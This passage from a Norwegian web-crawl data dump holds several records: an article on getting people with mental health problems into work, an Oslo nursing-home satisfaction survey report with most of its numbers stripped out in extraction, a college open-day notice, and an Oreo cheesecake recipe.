og andre interesseorganisasjoner. Over halvparten av landets arbeidstakere jobber i IA-bedrifter (Inkluderende arbeidsliv), men de store resultatene n\u00e5r det gjelder delm\u00e5l 2, som handler om \u00e5 f\u00e5 flere personer med redusert funksjonsevne i arbeid, lar vente p\u00e5 seg. \u2013 Det betyr at vi i HSH m\u00e5 f\u00e5 lederne, og ikke bare dem, men hele virksomheten til \u00e5 tenke utradisjonelt, fastslo direkt\u00f8ren.\n\nStyreleder i R\u00e5det for psykisk helse, Ansgar Gabrielsen og HSH-direkt\u00f8r Vibeke Hammer Madsen, vil forhindre at mennesker med psykiske plager m\u00f8ter stengte d\u00f8rer i arbeidslivet. \n\n## Pr\u00f8vekaniner og \u00abkokebok\u00bb\n\nHammer Madsen viste til fritidst\u00f8yprodusenten Stormberg AS i Kristiansand, ved daglig leder Steinar J. Olsen. Han har hele tiden hatt som m\u00e5l at 25 prosent av arbeidstakerne skal rekrutteres fra grupper som ellers sliter med \u00e5 komme inn p\u00e5 arbeidsmarkedet. \u2013 De vi tar inn her p\u00e5 Stormberg er virkelig motiverte for \u00e5 jobbe, de vet ogs\u00e5 at de blir fulgt opp og at det ikke er s\u00e5 lett \u00e5 f\u00e5 en ny sjanse, fortalte Olsen til R\u00e5det for psykisk helse. Hammer Madsen vil ha flere gode historier, og etterlyser fem virksomheter som kan fungere som pr\u00f8vekaniner. To bedrifter har allerede meldt sin interesse. Et samarbeid mellom virksomhetene, ved arbeidsgiver og tillitsvalgte, og representanter fra NAV, vil bidra til at flere med lettere psykiske lidelser kan komme i arbeid. Erfaringene som fors\u00f8ksbedriftene gj\u00f8r seg og utfordringene de m\u00f8ter, vil HSH samle i en \u00abkokebok\u00bb. \u2013 Vi vil lage en \u00abkokebok\u00bb som konkret lister opp hva som trengs for \u00e5 starte opp dette arbeidet. \u2013 Jeg vil ha resultater, konstaterte Hammer Madsen.\n\nPublisert: 14. juli 2014\n\n", "language": "no", "__index_level_0__": "aac47596-27b5-40d6-b10e-d4ec0957405e"}
{"url": "http://docplayer.me/1006131-Rapport-brukertilfredshet-blant-beboere-i-sykehjem-i-oslo-kommune-2011.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:16:46Z", "text": "\n\n4 : Innledning P\u00e5 oppdrag fra Oslo kommune ved Helseetaten (HEL) (tidligere Helse- og velferdsetaten) har Synovate gjennomf\u00f8rt denne brukertilfredshetsunders\u00f8kelsen blant beboere ved Oslo kommunes sykehjem (inkl. fem sykehjem utenbys der kommunen kj\u00f8per sykehjemsplasser). Hensikten med unders\u00f8kelsen har v\u00e6rt \u00e5 m\u00e5le beboernes tilfredshet med sykehjemmet de bor p\u00e5 med hensyn til trivsel, personalet, stell, behandling, oppf\u00f8lging og aktiviteter. M\u00e5lgruppen for unders\u00f8kelsen er alle sykehjemsbeboere som bor i sykehjemmene til Oslo kommune. Beboerne m\u00e5 v\u00e6re i stand til \u00e5 besvare hele, eller deler av, unders\u00f8kelsen. Beboere med sterk fremskreden demens, eller som av andre grunner vurderes til ikke \u00e5 v\u00e6re i stand til \u00e5 kunne besvare, utelates fra unders\u00f8kelsen. Unders\u00f8kelsen gjennomf\u00f8res for andre gang i sin n\u00e5v\u00e6rende form, men med visse endringer i utvalgsdesign og skjemautforming. Endringene medf\u00f8rer en utfordring i arbeidet med \u00e5 sammenligne resultatene mellom 00 og 0. Vi gj\u00f8r n\u00e6rmere rede for dette senere i rapporten. I denne rapporten presenterer vi resultatene fra \u00e5rets unders\u00f8kelse, og sammenligner resultatene med unders\u00f8kelsen fra 00 s\u00e5 langt det lar seg gj\u00f8re. Strukturen i rapporten er som f\u00f8lger: F\u00f8rst g\u00e5r vi gjennom bakgrunn for unders\u00f8kelsen, samt redegj\u00f8r for metode og utvalg. I det f\u00f8rste grafikkapitlet presenterer vi de overordnede bakgrunnsvariablene, som fordeling p\u00e5 kj\u00f8nn, alder, bydel osv. Deretter tar vi for oss den helhetlige tilfredsheten p\u00e5 totalniv\u00e5, f\u00f8r vi ser n\u00e6rmere p\u00e5 de sp\u00f8rsm\u00e5lene i unders\u00f8kelsen samlet sett, og fordelt etter bakgrunnsvariabler. Til slutt ser vi p\u00e5 resultatene til hvert sykehjem for seg. Rapporten er utarbeidet av Synovates prosjektteam, best\u00e5ende av Jens Ottar St\u00e6rkebye (konsulent) og Mona Nilsen (seniorkonsulent). Prim\u00e6rkontaktperson i HEL har v\u00e6rt Silje Cathrin Nyg\u00e5rd. Synovate 0 - -\n\n\n\n Kontaktperson hos Silje Cathrin Nyg\u00e5rd og Gry Folge oppdragsgiver: Ansvarlig for gjennomf\u00f8ring: Synovate Norge AS\")\n\n6 : Metode. Om datainnsamlingen Datainnsamlingen ble gjennomf\u00f8rt ved personlig intervju av sykehjemsbeboerne. Intervjuerne ble h\u00e5ndplukket til prosjektet og det ble tatt hensyn til m\u00e5lgruppens s\u00e6rskilte behov med tanke p\u00e5 veiledning, informasjon og motivasjon. S\u00e5 langt det har latt seg gj\u00f8re er det benyttet intervjuere som ogs\u00e5 deltok p\u00e5 prosjektet i 00. Sykehjemmene var p\u00e5 forh\u00e5nd informert om at intervjuene skulle gjennomf\u00f8res p\u00e5 et egnet og mest mulig uforstyrret sted p\u00e5 sykehjemmet. Intervjuerne ble ogs\u00e5 instruert om at de aller helst skulle v\u00e6re alene med respondentene under selve intervjuet med mindre respondenten selv insisterte p\u00e5 \u00e5 ha en ansatt eller andre til stede. Dette var b\u00e5de for \u00e5 sikre beboernes anonymitet, og for \u00e5 s\u00f8rge for at svarene fra beboernes var deres egne up\u00e5virkede meninger.. M\u00e5lgruppe og rekruttering Unders\u00f8kelsens m\u00e5lgruppe var beboere ved Oslo kommunes sykehjem (kommunale sykehjem, ikke-offentlige organisasjoner og kommersielle akt\u00f8rer), inklusive fem sykehjem utenfor Oslo der Oslo kommune kj\u00f8per plasser. Helse- og Velferdsetaten, i samarbeid med Sykehjemsetaten, anmodet samtlige sykehjem om \u00e5 rekruttere deltakere til unders\u00f8kelsen. Ledelsen ved hvert sykehjem var dermed ansvarlig for \u00e5 vurdere hvilke beboere som var i stand til \u00e5 delta. Vurderingen er gjort ut i fra beboernes helse- og helhetlige tilstand. Beboerne fikk utdelt et informasjonsskriv om unders\u00f8kelsen, og ble oppfordret til \u00e5 delta. Det var opp til sykehjemmene \u00e5 samle inn muntlig samtykke, og oversende ferdige lister til prosjektansvarlig i Synovate. Nytt for \u00e5rets rekruttering var at sykehjemmene ble bedt om \u00e5 sende inn mest mulig komplette beboerlister, der de som ikke skulle delta ble markert. Det skulle oppgis begrunnelse for reservasjon mot deltakelse (f.eks. helsetilstand, manglende spr\u00e5k o.l.). I tillegg til at sykehjemmene rekrutterte f\u00f8r datainnsamlingen startet, hadde intervjuerne mulighet til \u00e5 rekruttere ytterligere respondenter p\u00e5 stedet dersom dette var aktuelt. Dette gjaldt hovedsakelig korttidsbeboere og beboere som flyttet inn etter at fristen for \u00e5 sende inn lister var g\u00e5tt ut. Synovate 0 - -\n\n\n\n7 Som f\u00f8lge av nytt rekrutteringsopplegg mottok vi et bruttoutvalg p\u00e5 beboere som ble vurdert til \u00e5 kunne delta i unders\u00f8kelsen. Noen av disse hadde oppgitt at de ikke \u00f8nsket \u00e5 delta, men i samr\u00e5d med HEV ble det besluttet at intervjuerne kunne forh\u00f8re seg med beboernes kontaktperson p\u00e5 sykehjemmet om disse hadde endret mening p\u00e5 selve intervjudagen. Det ble gjennomf\u00f8rt totalt intervju, inkludert korttidsbeboere og beboere som ikke var forh\u00e5ndsrekruttert. I 00 ble det gjennomf\u00f8rt 0 intervju. Utvalgsdesignet inneb\u00e6rer visse metodiske utfordringer. Det er problematisk n\u00e5r de som skal evalueres, det vil si ledelsen p\u00e5 sykehjemmene, er de samme som rekrutterer beboerne som skal evaluere. Den statistiske tilfeldigheten i rekrutteringen av utvalget blir dermed ikke ivaretatt. Til tross for dette kan den brede rekrutteringen bidra til at en i st\u00f8rre grad kan generalisere resultatene til samtlige beboere n\u00e5r antall respondenter stiger. I 00 s\u00e5 vi at andelen som ble rekruttert av sykehjemmet (av det totale antallet beboere) varierte sv\u00e6rt mye fra sykehjem til sykehjem, fra prosent og helt opp i prosent. Vi setter derfor sp\u00f8rsm\u00e5lstegn ved om denne variasjonen faktisk gjenspeilet den andelen som er i stand til/\u00f8nsker \u00e5 delta i unders\u00f8kelsen p\u00e5 hvert sykehjem, eller om det er andre \u00e5rsaker til dette, I \u00e5r ligger gjennomsnittlig andel rekrutterte p\u00e5 prosent, med kun tre sykehjem p\u00e5 under 0 prosent (se tabell side -). Det nye opplegget for innsending av beboerlister ser derfor ut til \u00e5 ha fungert godt. To sykehjem var inkludert i utvalget, men det ble ikke foretatt noen intervjuer: J\u00f8disk bo- og seniorsenter oppgav, etter n\u00f8ye vurdering, at ingen av deres beboere var i stand til \u00e5 svare, og Ullerntunet bo- og servicesenter sendte inn lister, men sykehjemmet var i ferd med \u00e5 avvikles underveis i datainnsamlingsperioden. Sofienbergsenteret, Solvang og R\u00f8dtvet sykehjem. Synovate 0 - -\n\n\n\n\n\n10 Som det fremg\u00e5r av tabellen er det enkelte variabler der summen av antall intervju ikke g\u00e5r opp i. Dette skyldes at respondentene til enhver tid kan reservere seg mot \u00e5 besvare enkelte sp\u00f8rsm\u00e5l. N\u00e5r det gjelder variabelen plasstype kan det tenkes at den h\u00f8ye andelen ubesvart (ca 0 prosent) skyldes at denne variabelen overlapper variabelen langtid/korttid. Fra og med figur 0, kapittel, presenteres resultatene for hvert enkelt sykehjem. I den forbindelse er det viktig \u00e5 merke seg at resultatene p\u00e5 mange av sykehjemmene er beheftet med til dels h\u00f8ye statistiske feilmarginer. P\u00e5 sykehjem hvor f\u00e5 beboere har blitt intervjuet vil ogs\u00e5 enkeltrespondenter p\u00e5virke sykehjemmets totalresultat i uakseptabelt stor grad. Vi gj\u00f8r oppmerksom p\u00e5 at dette gjelder b\u00e5de store sykehjem med f\u00e5 intervju (lav deltakelsesprosent) og sm\u00e5 sykehjem med h\u00f8y deltakelse (hvor hver respondent utgj\u00f8r en stor andel av totalen). Resultatene for de sykehjemmene med f\u00e5 intervjuede beboere m\u00e5 tolkes med stor varsomhet. Antall beboere og gjennomf\u00f8rte intervju varierer mye mellom sykehjemmene (jf. talbell ). Det er ikke gjort analyser av bakgrunnsvariabler for hvert sykehjem. Overordnet er sykehjemmene delt i to hovedgrupper; kommunale sykehjem og private sykehjem. Som i 00 har vi delt inn de private sykehjemmene i kommersielle akt\u00f8rer og ikke-offentlige organisasjoner. Tabellen under viser hvilke sykehjem som tilh\u00f8rer de respektive kategoriene. Synovate 0 - -\n\n\n\n11 Tabell : Sykehjem etter tre kategorier Kommunale sykehjem Ikke-offentlig organisasjon Kommersielle akt\u00f8rer Abilds\u00f8 bo- og rehabiliteringssenter Ammerudhjemmet bo- og kultursenter Ammerudlunden sykehjem Akerselva sykehjem Bekkelagshjemmet Fagertun sykehjem Fagerborghjemmet Cathinka Guldberg-senteret Gran\u00e5s sykehjem Furuset sykehjem Frognerhjemmet Hovseterhjemmet Gr\u00fcnerl\u00f8kka sykehjem Kajalund sykehjem Lambertseter alders- og sykehjem Kantarellen bo- og rehabiliteringssenter Grefsenhjemmet Madserud sykehjem Kingosgate bo- og rehabiliteringssenter J\u00f8disk bo- og seniorsenter Oppsalhjemmet Langerud sykehjem Nordberghjemmet Paulus sykehjem Lille T\u00f8yen sykehjem Sagenehjemmet St. Hanshaugen omsorgssenter Lilleborg sykehjem Sofienbergsenteret S\u00f8ster Ninas sykehjem Lillohjemmet St. Halvardshjemmet Valstad sykehjem Lindeberg omsorgssenter V\u00e5lerengen bo- og servicesenter Villa Skaar Majorstutunet bo- og behandlingssenter Manglerudhjemmet Midt\u00e5senhjemmet Nordseterhjemmet Roms\u00e5s sykehjem Ryenhjemmet R\u00f8dtvet sykehjem Silurveien sykehjem Smestadhjemmet Solvang sykehjem Stovnerskogen sykehjem T\u00e5senhjemmet Ullerntunet bo- og servicesenter Uranienborghjemmet Villa Enerhaugen Vinderen bo- og servicesenter \u00d8kern sykehjem \u00d8stensj\u00f8 bo- og servicesenter. Sp\u00f8rreskjemaet Sp\u00f8rreskjemaet gjennomgikk vesentlige endringer i forkant av unders\u00f8kelsen i 00. I et samarbeid mellom Helse- og velferdsetaten, sykehjem og andre instanser ble det utformet et forenklet sp\u00f8rreskjema som i st\u00f8rre grad skulle v\u00e6re tilpasset m\u00e5lgruppen p\u00e5 sykehjem. Det var flere grunner til at skjemaet ble endret.. Tidligere \u00e5rs erfaringer viser at mange eldre har problemer med \u00e5 forholde seg til graderingsskalaer. De fleste sp\u00f8rsm\u00e5lene er derfor reformulert med svaralternativer ja, nei eller det varierer/delvis. I tillegg ble intervjuerne instruert om \u00e5 oppfordre beboerne til \u00e5 gi utfyllende kommentarer til hvert sp\u00f8rsm\u00e5l. I en tidligere rapporten fra beboerunders\u00f8kelsen i 00 ble det p\u00e5pekt at man m\u00e5 v\u00e6re varsom med \u00e5 konkludere med at holdningene reflekterer kvalitetsforskjeller i tjenesten Synovate 0-0 -\n\n\n\n12 som tilbys. Det ble blant annet pekt p\u00e5 beboernes problemer med \u00e5 svare i henhold til en gitt svarskala noe som medf\u00f8rte at det i mange tilfeller ble opp til intervjuerne \u00e5 vurdere hvilket svaralternativ som skulle brukes. Med en forenkling av sp\u00f8rreskjemaet overlates vurdering av beboernes svar i mindre grad til den som intervjuer. Vi mener derfor at besvarelsenes gyldighet er forbedret som f\u00f8lge av nytt sp\u00f8rreskjema. Samtidig er det viktig \u00e5 huske at en slik fullstendig revisjon av sp\u00f8rreskjemaet medf\u00f8rer at det ikke er mulig \u00e5 sammenligne resultater lengre bakover i tid enn 00. Unntaket er selvsagt det ene sp\u00f8rsm\u00e5let som er identisk med tidligere m\u00e5linger, i dette tilfellet sp\u00f8rsm\u00e5let om helhetlig vurdering av sykehjemmet. Siden \u00e5rets unders\u00f8kelse er gjennomf\u00f8rt med samme sp\u00f8rreskjemastruktur (med unntak av at vet ikke/kan ikke svare er lagt til som svaralternativ) som i 00 har vi hatt mulighet til \u00e5 se p\u00e5 utvikling over det siste \u00e5ret. I tillegg til endring av sp\u00f8rsm\u00e5l og svarskala, er skjemaet delt inn to deler en hoveddel (der ogs\u00e5 bakgrunnssp\u00f8rsm\u00e5l ble stilt) og en valgfri del. Sp\u00f8rsm\u00e5lene i del skulle kun stilles til de beboerne som sykehjemmene hadde vurdert at ville v\u00e6re i stand til \u00e5 besvare disse. Sykehjemmene oppga lister til intervjuerne over hvilke beboere de ans\u00e5 kunne svare p\u00e5 de forskjellige delene, eventuelt om det skulle vurderes p\u00e5 stedet ut fra beboerens dagsform. En siste endring g\u00e5r p\u00e5 selve responsraten, som i \u00e5r er \u00f8kt med over 0 prosent fra 00 og prosent fra 00 (fra i 00 til 0 i 00 og i 0). Denne \u00f8kningen har bidratt til \u00e5 redusere de statistiske feilmarginene p\u00e5 totalutvalget, og betydelig p\u00e5 enkelte store sykehjem selv om deltakerandelen ikke kan sies \u00e5 v\u00e6re statistisk representativ.. Effekten av utvidet responsrate p\u00e5 svarfordeling og utvikling \u00d8kt antall respondenter har ogs\u00e5 f\u00f8rt til at det er flere enn tidligere som svarer vet ikke eller som ikke svarer p\u00e5 ett eller flere sp\u00f8rsm\u00e5l, noe som vil p\u00e5virke det enkelte sykehjems resultater. Dette gjelder i hovedsak sp\u00f8rsm\u00e5lene i del av unders\u00f8kelsen der gjennomsnittlig andel ubesvart \u00f8ker fra til 0 prosent fra 00 og 0 (se tabell p\u00e5 side for andel ubesvarte per sp\u00f8rsm\u00e5l). \u00c5rsaken til dette er at sykehjemmene og Synovate 0 - -\n\n\n\n13 respondentene i \u00e5r ble bedt om \u00e5 oppgi hvorvidt respondentene skulle besvare del eller ikke. I 00 ble det vurdert fra respondent til respondent underveis. Det vil si at en rekke beboere (etter sykehjemmets vurdering) kun har besvart skjemaets f\u00f8rste del. For at resultatene for 00 og 0 skal bli s\u00e5 sammenlignbare som mulig n\u00e5r det gjelder totalniv\u00e5, sykehjemsniv\u00e5, og etter bakgrunnsvariabler, har vi i begge datasett utelatt beboere som ikke har besvart et eneste sp\u00f8rsm\u00e5l ( ubesvart ) i del (spm -) av sp\u00f8rreskjemaet. En utfordring er at vi likevel st\u00e5r igjen med en andel som har svart vet ikke/kan ikke svare i 0. Dette nye svaralternativet er vanskelig \u00e5 tolke, og p\u00e5virker n\u00f8dvendigvis fordelingen p\u00e5 \u00f8vrige svaralternativer, slik at utviklingen fra 00 til 0 ikke med sikkerhet kan sies \u00e5 v\u00e6re reell. Synovate 0 - -\n\n i del (spm -) av sp\u00f8rreskjemaet. En utfordring er at vi likevel st\u00e5r igjen med en andel som har svart vet ikke/kan ikke svare i 0.\")\n\n14 Tabell : Andel ubesvart per sp\u00f8rsm\u00e5l Skjemadel Sp\u00f8rsm\u00e5l Andel ubesvart Spm : F\u00f8ler du deg trygg her p\u00e5 sykehjemmet? 0 % Del Del Spm : F\u00e5r du den hjelpen du trenger? 0 % Spm : Er det som regel de samme personene som hjelper deg? % Spm : Synes du at de ansatte er lydh\u00f8re og h\u00f8flige? 0 % Spm : Synes du at du f\u00e5r v\u00e6re med \u00e5 bestemme hvordan dagen din skal % se ut? Spm : Synes du at maten her smaker godt? 0 % Spm : Er du forn\u00f8yd med aktivitetene her? % Spm : Synes du at de ansatte tar seg tid til \u00e5 samtale/prate med deg? % Spm : Alt i alt, i hvor stor grad er du forn\u00f8yd med sykehjemmet du bor p\u00e5? (Helhetsvurdering) Gjennomsnitt del % Spm : Er m\u00e5ltidene en hyggelig stund p\u00e5 dagen? 0 % Spm : F\u00e5r du mulighet til \u00e5 ha privatliv? 0 % Spm : Snakker personalet klart og tydelig, slik at du forst\u00e5r dem? 0 % Spm : F\u00e5r du snakke med lege n\u00e5r du trenger det? 0 % Spm : F\u00e5r du muligheten til \u00e5 komme til tannlege? 0 % Spm : Sp\u00f8r de ansatte om hvordan du vil at hjelpen skal utf\u00f8res? % Spm : F\u00e5r du v\u00e6re med \u00e5 bestemme n\u00e5r du vil ha hjelp? % Spm : H\u00f8rer de ansatte p\u00e5 deg hvis du har noe \u00e5 klage p\u00e5? 0 % Spm : Blir det bedring p\u00e5 situasjonen hvis du har klaget p\u00e5 noe? % Gjennomsnitt del 0 % %. Om figurene Alle tall i figurene er prosenttall, med mindre noe annet er oppgitt. Dette gjelder ogs\u00e5 for de figurer der prosenttegnet ikke er vist. N\u00e5r det gjelder figurene som viser svarfordelingen p\u00e5 samtlige enkeltsp\u00f8rsm\u00e5l, b\u00e5de totalt for Oslo og for hvert enkelt sykehjem, er hvert sp\u00f8rsm\u00e5l presentert parvis (med 0 f\u00f8rst og 00 under). Se illustrasjon under. Sp\u00f8rsm\u00e5lsnummeret foran rad viser til sp\u00f8rsm\u00e5lsnummeret i sp\u00f8rreskjemaet og tabell. Synovate 0 - -\n\n Gjennomsnitt del % Spm : Er m\u00e5ltidene en hyggelig stund p\u00e5 dagen?\")\n\n15 Ettersom vi har fjernet respondenter som ikke har deltatt p\u00e5 del av unders\u00f8kelsen, f\u00e5r en del mindre sykehjem sv\u00e6rt f\u00e5 respondenter. Av hensyn til beboernes personvern og anonymitet har vi unnlatt \u00e5 vise grafiske resultater for sykehjem med respondenter eller f\u00e6rre p\u00e5 disse sp\u00f8rsm\u00e5lene. Antall intervju (N) i 00 og 0 er angitt i figurteksten til grafikken for hvert sykehjem. Vi gj\u00f8r oppmerksom p\u00e5 at det kun er sp\u00f8rsm\u00e5lene i unders\u00f8kelsens del som er sammenlignet med 00 p\u00e5 sykehjemsniv\u00e5. : Oppsummering Som i 00 ser vi at beboerne p\u00e5 Oslo kommunes sykehjem har en h\u00f8y helhetlig tilfredshet. P\u00e5 en skala fra \u00e9n til fire, der fire er best, er tilfredsheten til sykehjemsbeboerne i gjennomsnitt,. I 00 var snittet p\u00e5,, som det ogs\u00e5 var i 00 og 00 (se tabell, side ). Ser vi p\u00e5 andelen som svarer kun den h\u00f8yeste verdien ( : forn\u00f8yd i sv\u00e6rt stor grad ) er denne i \u00e5r p\u00e5 prosent, mot prosent i 00, og opp fra prosent tilbake i 00. Det er alts\u00e5 en jevn stigning n\u00e5r det gjelder andelen som er mest forn\u00f8yd. Dette er interessant med tanke p\u00e5 de endringene som er gjort i utvalgsmetodikken: En av hovedinnvendingene mot \u00e5 velge ut relativt f\u00e5 beboere som man gjorde i 00 og 00, var at man fryktet at mange sykehjem ville velge ut de mest positive beboerne til \u00e5 delta. N\u00e5r andelen som er mest forn\u00f8yd likevel \u00f8ker over Synovate 0 - -\n\n\n\n16 tid, i tr\u00e5d med et utvidet utvalg, kan det imidlertid v\u00e6re grunn til \u00e5 tillegge denne innvendingen noe mindre vekt n\u00e5r man ser p\u00e5 utvikling over tid. Gjennomsnittlig helhetlig tilfredshet varierer fra sykehjem til sykehjem (tabell, side 0). Best ut kommer Frognerhjemmet med en sk\u00e5r p\u00e5,. R\u00f8dtvet sykehjem (,) og Kajalund sykehjem (,) f\u00f8lger tett etter. Nederst finner vi Villa Enerhaugen med,, Villa Skaar (, ) og Nordseterhjemmet (,). Om man ser p\u00e5 andel beboere som besvarer sp\u00f8rsm\u00e5let om helhetlig tilfredshet med eller, er gjennomsnittlig tilfredshet prosent i 0 (tabell, side ). P\u00e5 sykehjemmene Frognerhjemmet, T\u00e5senhjemmet, Gran\u00e5s sykehjem og Valstad sykehjem har 00 prosent av respondentene svart tre eller fire. Nederst finner vi S\u00f8ster Ninas sykehjem (0 %), Villa Skaar ( %) og Langerud sykehjem ( %). av sykehjem som deltok i unders\u00f8kelsen har over 0 prosent andel forn\u00f8yde beboere. Alle andre sp\u00f8rsm\u00e5l i skjemaet skulle besvares ut i fra en tredelt skala best\u00e5ende av svaralternativene ja, varierer/delvis og nei. I tillegg var vet ikke/kan ikke svare et alternativ. I resultatene som omtales under, presiserer vi at de som ikke har deltatt p\u00e5 del av sp\u00f8rreskjemaet er tatt ut. Disse er dermed ikke en del av totalprosenten. Hvis vi ser p\u00e5 enkeltsp\u00f8rsm\u00e5lene er det ganske likt med fjor\u00e5rsm\u00e5lingen (figur, side ), med noen f\u00e5 unntak. Endringer med noen f\u00e5 prosentpoeng opp eller ned kan ikke anses som reelle endringer, spesielt n\u00e5r vi tar h\u00f8yde for innf\u00f8ringen av vet ikke/kan ikke svare som svaralternativ. St\u00f8rst forn\u00f8ydhet er det ved tryggheten; prosent av beboerne sier at de f\u00f8ler seg trygge p\u00e5 sykehjemmet de bor p\u00e5. Det er bred enighet om dette blant de ulike undergruppene, men blant beboere p\u00e5 somatisk avdeling er det en litt lavere ja-andel ( prosent) enn blant \u00f8vrige beboere (figur, side ). prosent av beboerne synes at de ansatte er lydh\u00f8re og h\u00f8flige, og prosent synes at de f\u00e5r den hjelpen de trenger (figur, side ). De laveste ja-andelene (figur, side ) finner vi n\u00e5r vi sp\u00f8r om de ansatte sp\u00f8r om hvordan beboerne vil at hjelpen skal utf\u00f8res ( prosent, tilbake fra prosent i 00) Synovate 0 - -\n\n.\")\n\n17 og om det stort sett er de samme personene som hjelper beboerne ( prosent svarer ja p\u00e5 dette, frem fra prosent i 00). Vi minner om at det er viktig \u00e5 ta i betraktning andelen som ikke har kunnet besvare disse sp\u00f8rsm\u00e5lene n\u00e5r graden av forn\u00f8ydhet skal anvendes. Hvis vi skal se etter forskjeller mellom ulike grupper beboere (gruppert etter bakgrunnsvariabler) er det flere tilsynelatende systematiske trender vi kan identifisere. Beboere p\u00e5 sykehjem drevet av ikke-offentlige organisasjoner er signifikant mer forn\u00f8yd med ti av sytten omr\u00e5der. Disse omr\u00e5dene er maten, aktivitetene, m\u00e5ltidene, mulighet for privatliv, tilgang til lege og tannlege, medbestemmelse p\u00e5 hvordan hjelp skal utf\u00f8res, n\u00e5r de vil ha hjelp, om man blir h\u00f8rt ved klaging og om det blir forbedring etter klaging (se figurer fra side ). Beboere p\u00e5 sykehjem drevet av kommersielle akt\u00f8rer er p\u00e5 sin side signifikant mer forn\u00f8yd med muligheten til \u00e5 ha privatliv, hvorvidt de ansatte h\u00f8rer p\u00e5 hvis de klager p\u00e5 noe og forbedring p\u00e5 situasjoner der de har klaget. Beboere p\u00e5 kommunale sykehjem peker seg ikke ut p\u00e5 noen av sp\u00f8rsm\u00e5lene n\u00e5r vi ser p\u00e5 ja-andel. En st\u00f8rre andel beboere p\u00e5 kommunale sykehjem svarer derimot nei p\u00e5 f\u00f8lgende omr\u00e5der: Er det samme personer som hjelper deg, om maten smaker godt, aktivitetene, mulighet til privatliv og medbestemmelse over hvordan hjelpen skal utf\u00f8res. For \u00f8vrig er beboere som bor p\u00e5 enerom mer forn\u00f8yd enn de som deler rom med andre p\u00e5 sju av sytten omr\u00e5der, bl.a. p\u00e5virkning p\u00e5 hvordan egen dag skal se ut, aktiviteter, m\u00e5ltider, mulighet for privatliv, tilgang til lege, tilgang til tannlege og medbestemmelse over hvordan hjelpen skal utf\u00f8res.beboerne som deler rom med andre er mindre forn\u00f8yde p\u00e5 de samme omr\u00e5dene. Omr\u00e5det med lavest ja-andel ( Blir det bedring p\u00e5 situasjonen hvis du har klaget p\u00e5 noe, prosent svarer ja) er utelatt fra oppsummeringen ettersom mange beboere opplyser om at de ikke har klaget, og derfor ikke er blitt stilt dette sp\u00f8rsm\u00e5let. Ja-andelen blir dermed ikke sammenlignbar med de andre sp\u00f8rsm\u00e5lene. For \u00e5 se etter systematiske forskjeller mellom grupper er det gjennomf\u00f8rt kjikvadrattest. Synovate 0 - -\n\n\n\n18 Aldersmessig er gruppen 0- \u00e5r de mest positive, og skiller seg signifikant ut n\u00e5r det gjelder om de ansatte er lydh\u00f8re og h\u00f8flige. Gruppen beboere under 0 \u00e5r er i flertall av dem som sier nei (misforn\u00f8yde) p\u00e5 fem omr\u00e5der; f\u00e5r du hjelpen du trenger, er de ansatte lydh\u00f8re og h\u00f8flige, smaker maten godt, er du forn\u00f8yd med aktivitetene og blir det bedring hvis du har klaget. Synovate 0 - -\n\n\n\n19 : Helhetlig vurdering Figur : Alt i alt, i hvor stor grad er du forn\u00f8yd med sykehjemmet du bor p\u00e5? - Sv\u00e6rt stor grad % % % % % % % % 00 % % % % - Sv\u00e6rt liten grad % % % % Vet ikke % % 0 Andel beboere som helhetlig sett er forn\u00f8yde med sykehjemmet de bor p\u00e5 er p\u00e5 niv\u00e5 med 00-m\u00e5lingen. Tabell : Gjennomsnittlig tilfredshet (blant samtlige beboere) og andel forn\u00f8yde (svart eller ) Gjennomsnitt,,,, Andel forn\u00f8yde (dvs. dem som % % % % har svart enten eller ) Synovate 0 - -\n\n og andel forn\u00f8yde (svart eller ) 0 00 00 00 Gjennomsnitt,,,,\")\n\n", "language": "no", "__index_level_0__": "049cff2a-271b-4039-b80e-3f829a921e39"}
{"url": "https://www.noroff.no/nyheter/nytt-fra-noroff/580-velkommen-til-apen-dag-torsdag-8-mars", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:20:10Z", "text": "# Velkommen til \u00c5PEN DAG - torsdag 8. mars\n\n     Publisert 26. februar 2018\n\nNoroff inviterer til \u00e5pen dag torsdag 8. mars\u00a0p\u00e5 v\u00e5re campuser i Oslo, Bergen, Kristiansand og Stavanger.\n\n", "language": "no", "__index_level_0__": "ed5eb2bb-0a36-4a65-b5e6-c738a4d32a09"}
{"url": "http://maaltid.no/oppskrifter/ostekake-med-oreo", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:12:55Z", "text": "\\#Dessert\n\n**Tips:** Knus kjeksen i en plastpose ved hjelp av en kjevle\n\n \n **  5 T 20 min  **  0\nM\u00e5ltid for **6 personer**\n\n Trykk +/- for \u00e5 endre antall personer eller tast inn mengden ingrediens du har. \n## Ingredienser\n\n  - stk.\n    \n    Oreokjeks\n\n  - ss.\n    \n    Meierism\u00f8r, smeltet\n\n  - dl\n    \n    Kremfl\u00f8te\n\n  - g\n    \n    Kremost\n\n  - ss.\n    \n    Melis\n\n  - ss.\n    \n    Vaniljeekstrakt\n\n## Kakebunn\n\n1\n\nLegg 10 Oreokjeks i en sk\u00e5l, og knus dem.\n\n2\n\nTrykk Oreomassen ut i bunnen p\u00e5 en kakeform. S\u00f8rg for at overflaten og kantene er forholdsvis jevne.\n\n## Fyll\n\n1\n\nPisk fl\u00f8ten til krem, 3-4 min.\n\n2\n\nPisk kremost, melis og vaniljeekstrakt sammen i en stor sk\u00e5l til konsistensen er kremet.\n\n3\n\nR\u00f8r sammen fl\u00f8teostkremen og den piskede kremen.\n\n4\n\nKnekk opp 2 Oreokjeks i sm\u00e5 biter, og tilsett i kremen. R\u00f8r blandingen sammen med en deigskrape.\n\n## Ostekake\n\n1\n\nFordel kremen utover bunnen av Oreokjeks, og lag en jevn overflate og kant.\n\n2\n\nLegg de siste Oreokjeksene p\u00e5 toppen af kaken.\n\n3\n\nSett ostekaken i kj\u00f8leskapet i 5-6 timer eller gjerne over natten, og den er klar til servering.\n\n4\n\nTips: Sett ostekaken i fryseren i et par timer for en isversjon.\n\n", "language": "no", "__index_level_0__": "f699c7d9-5af6-4c91-b19a-e71ebdd7d6e2"}
